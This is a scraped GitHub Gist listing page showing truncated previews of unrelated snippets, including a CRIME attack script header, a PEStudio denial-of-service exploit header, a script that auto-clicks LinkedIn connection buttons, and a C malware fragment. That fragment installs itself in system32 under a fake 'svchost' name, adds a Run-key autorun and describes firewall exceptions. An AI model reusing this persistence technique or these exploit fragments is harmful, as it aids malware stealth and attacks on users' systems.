Skip to content

Instantly share code, notes, and snippets.

//we are planning to use filter concatenation on three input videos
var filterchain = Filterchain.FilterTo<VideoStream>(new Concat());
//we want our output to be encoded using the following settings:
// -c:v libx264
// -b:v 3000k
// -s 852x480
// -y
var settings = SettingsCollection.ForOutput(
new CodecVideo("libx264"),
@kstep
kstep / html.py
Created August 15, 2012 13:12
Simple Python HTML template DSL
__all__ = []
def export(value):
__all__.append(value.__name__)
return value
import sys
module = sys.modules[__name__]
class Context(object):
@stamparm
stamparm / crime.py
Created September 11, 2012 13:19 — forked from koto/crime.py
It's not a crime to build a CRIME
# This is supposedly what CRIME by Juliano Rizzo and Thai Duong will do
# Algorithm by Thomas Pornin, coding by xorninja, improved by @kkotowicz
# http://security.blogoverflow.com/2012/09/how-can-you-protect-yourself-from-crime-beasts-successor/
import string
import zlib
import sys
import random
charset = string.letters + string.digits + "%/+="
@dendisuhubdy
dendisuhubdy / rsacrack.py
Created October 20, 2015 02:41
Cracking the RSA cyprtosystem time
import gmpy, time, random, math
def genprime(bits):
p=1
while(gmpy.is_prime(p)==0):
p = random.randrange(math.pow(2,bits-1),math.pow(2,bits))
return p
BITS=20
found=False
# Title: PEStudio Version 3.69 Denial of Service
# Date: 5th June 2013
# Author: Debasish Mandal ( https://twitter.com/debasishm89 )
# Blog : http://www.debasish.in/
# Software Homepage: http://www.winitor.com/
# Version: PEStudio Version 3.69
# Tested on: Windows XP SP2 / Windows 7
# Vendor Patch : Recently released stable version (v6.91) is not affected.
'''
@amarvutha
amarvutha / camera.py
Last active December 21, 2015 15:59
# Display webcam image, plus plasma diagnostics
# version 2, 2013-09-25
# Amar
# Changelog:
# v2: Very slight modification of http://matplotlib.org/examples/animation/dynamic_image.html
import numpy as np
import cv2
import time
import matplotlib.animation as animation
var tok = window.setInterval(function() {
var total_req = 100;//change it to 200,300 etc..to send request to 200,300 people at a time. May slowdown network
var all = document.getElementsByClassName('vcard-button bt-connect bt-primary')
if (all.length < total_req)
document.body.scrollTop = document.body.scrollHeight;
else{
clearInterval(tok);window.scrollTo(0,0);
for(var i = 0 ; i <= all.length; i++){
all[i].click();}
}}, 2000);
@claudijd
claudijd / gist:6ce45deabb154ceb7efa
Last active April 26, 2016 14:09
Good one-liner for OpenSSL s_server testing
openssl req -nodes -x509 -newkey rsa:2048 -keyout server.pem -out server.pem -days 1 && openssl s_server -tls1 -www -accept 1337
@SalTor
SalTor / bs3-registration-form.html
Last active May 15, 2016 00:17
Bootstrap 3 Full Registration form
<div class="col-xs-12 col-sm-8 col-md-4 col-sm-offset-2 col-md-offset-4">
<form role="form">
<div class="row">
<div class="col-xs-4 col-sm-4 col-md-4">
<div class="form-group">
<select name="" id="" class="form-control input-sm">
<option value="mr">Mr.</option>
<option value="mrs">Mrs.</option>
<option value="miss">Miss</option>
<option value="ms">Ms.</option>
bool Autorun(char *Path) // complex stealth method: moving to %system32%, autorun, making firewall exception and destruction of first instance
{
HKEY key;
char runkey[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
char valuename[] = "svchost";
char filename[61];
char Win_Dir[33];
GetSystemDirectory(Win_Dir, sizeof Win_Dir);
sprintf(filename,"%s\\sv�host.exe", Win_Dir);
if (strcmp(filename, Path) == 0)